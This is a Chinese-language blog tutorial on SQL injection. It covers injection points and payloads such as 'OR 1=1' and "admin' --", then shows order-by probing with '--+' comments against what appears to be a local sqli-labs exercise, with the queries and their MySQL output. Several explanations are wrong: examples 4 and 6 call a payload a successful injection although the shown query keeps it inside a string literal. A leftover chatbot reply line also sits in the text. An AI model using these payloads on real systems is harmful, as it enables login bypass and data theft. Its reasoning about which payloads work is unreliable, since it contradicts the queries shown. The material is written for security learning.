[案头笔记]Sql注入篇-02注入思路与环境准备

sql注入思路

我们可以在应用程序的输入字段中注入恶意SQL命令,以此来控制或访问存储在数据库中的敏感数据。注入点的可能位置主要在于用户可控参数中,这些参数如果没有经过适当的处理和转义,就会成为SQL注入的目标。以下是一些常见的注入点:

  1. GET数据:例如,一个URL http://example.com/index.php?id=1 可以被修改为 http://example.com/index.php?id=1 OR 1=1。这里,OR 1=1 是一个恒真条件,可能会导致查询返回所有记录,而不仅仅是id为1的记录。

  2. POST数据:假设一个登录表单通过POST方法提交用户名和密码。攻击者可以在用户名字段中输入 admin' --。这里,' -- 会注释掉原始SQL查询的其余部分,可能导致不论密码是什么都可以登录admin账户。

  3. HTTP头部:攻击者可能修改HTTP头部中的User-Agent字段,将其设置为包含SQL语句的字符串。例如,如果Web应用程序将User-Agent日志存储在数据库中且未对其进行适当的处理,则这可能导致SQL注入。

  4. Cookie数据:如果Web应用程序使用Cookie来存储用户的某些偏好设置,并且这些设置在查询数据库时被使用,攻击者可以修改自己的Cookie,插入SQL代码。例如,如果Cookie值被直接用于数据库查询,攻击者可以通过篡改Cookie值来操纵这些查询。

修改源码

为了方便后续的学习,我们需要修改一下源码以便更直观的查看

1
echo "有效输入值:".$id."<br>";
1
echo "被执行的SQL语句:"."$sql"."<br>";

sql注入中关于–+的问题

  1. **– (双破折号)**:

    • 作用:在MySQL中,-- 是一种注释符。它告诉数据库忽略其后的所有内容,直到行末。
    • 使用要点:为了使--成为有效的注释,其后必须紧跟一个空格。在SQL注入中,这可以用来注释掉原始SQL语句的一部分,从而改变查询的行为。例如,在注入点后加入-- 会使得原始的SQL语句后续部分被忽略。
  2. **+ (加号)**:

    • 作用:在URL中,+ 符号通常被解释为一个空格。
    • 使用要点:由于直接在URL中使用空格可能会导致问题(例如,空格可能被浏览器或服务器编码或解释不当),+ 可用于确保注释符--后面有一个空格,从而激活注释功能。
  3. **’ (单引号)**:

    • 作用:单引号在SQL中用于界定字符串。
    • 使用要点:在SQL注入中,' 可以用来结束当前的字符串字面量,从而使攻击者能够插入额外的SQL命令。例如,如果原始查询是WHERE id='[用户输入]',攻击者可以通过输入1'来结束id值的字符串字面量,并接着插入自己的SQL代码。

让我们分析这些SQL注入示例以及它们的区别:

理解您的需求,按照提供的格式,这里是完整的SQL注入示例说明:

  1. 正常情况

    1
    2
    3
    4
    http://10.211.55.4/sql/Less-1/?id=1

    有效输入值:1
    被执行的SQL语句:SELECT * FROM users WHERE id='1' LIMIT 0,1;
    • 注释:没有SQL注入,这是一个标准的数据库查询请求。
    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | Dumb | Dumb |
    +----+----------+----------+
    1 row in set (0.01 sec)
  2. 注入示例:使用 --+ 进行注释

    1
    2
    3
    4
    http://10.211.55.4/sql/Less-1/?id=1' order by 3 --+

    有效输入值:1' order by 3 --
    被执行的SQL语句:SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1;
    • 注释:这个示例中,攻击者通过加入 ' order by 3 -- 成功地改变了原始查询的行为。URL中的 + 被用作空格,以确保 -- 之后的部分被视为注释。
    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | Dumb | Dumb |
    +----+----------+----------+
    1 row in set (0.02 sec)
  3. 注入示例:使用 --' 进行注释

    1
    2
    3
    4
    http://10.211.55.4/sql/Less-1/?id=1' order by 3 --'

    有效输入值:1' order by 3 --'
    被执行的SQL语句:SELECT * FROM users WHERE id='1' order by 3 --'' LIMIT 0,1;
    • 注释:在这个例子中,攻击者使用 --' 来注释掉后面的SQL语句部分。尽管多了一个单引号,攻击者仍然成功地改变了查询的结构和结果。
    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT * FROM users WHERE id='1' order by 3 --'' LIMIT 0,1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | Dumb | Dumb |
    +----+----------+----------+
    1 row in set (0.06 sec)
  4. 注入示例:无单引号,使用 --+ 进行注释

    1
    2
    3
    4
    http://10.211.55.4/sql/Less-1/?id=1 order by 3 --+

    有效输入值:1 order by 3 --
    被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 -- ' LIMIT 0,1;
    • 注释:在这个示例中,攻击者没有使用单引号,但仍然通过 order by 3 -- 实现了SQL注入,演示了即使在没有明显结束字符串字面量的情况下,注入仍可成功。
    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT * FROM users WHERE id='1 order by 3 -- ' LIMIT 0,1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | Dumb | Dumb |
    +----+----------+----------+
    1 row in set (0.01 sec)
  5. 注入示例:单引号,使用 --' 进行注释,引发错误

    1
    2
    3
    4
    5
    http://10.211.55.4/sql/Less-1/?id=1 order by 3 --'

    有效输入值:1 order by 3 --'
    被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 --'' LIMIT 0,1;
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1 order by 3 --'' LIMIT 0,1' at line 1
  • 注释:这个示例中尝试了类似的注入,但由于额外的单引号,造成了SQL语法错误。
1
2
mysql> SELECT * FROM users WHERE id='1 order by 3 --'' LIMIT 0,1;
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1 order by 3 --'' LIMIT 0,1' at line 1
  1. 注入示例:使用双单引号 --'' 进行注释

    1
    2
    3
    4
    http://10.211.55.4/sql/Less-1/?id=1 order by 3 --''

    有效输入值:1 order by 3 --''
    被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 --''' LIMIT 0,1;
  • 注释:在这个示例中,攻击者使用了双单引号 --'' 来注释掉后面的SQL语句部分。这种注入成功地改变了查询的结构,导致了不同的结果。
1
2
3
4
5
6
7
mysql> SELECT * FROM users WHERE id='1 order by 3 --''' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.04 sec)

这些详细的示例展示了SQL注入的不同方式,以及它们如何影响数据库查询的结果。

information_schema

待补充


[案头笔记]Sql注入篇-02注入思路与环境准备
https://www.gasmaze.com/posts/b711f5ad.html
作者
GasMaze
发布于
2022年7月26日
许可协议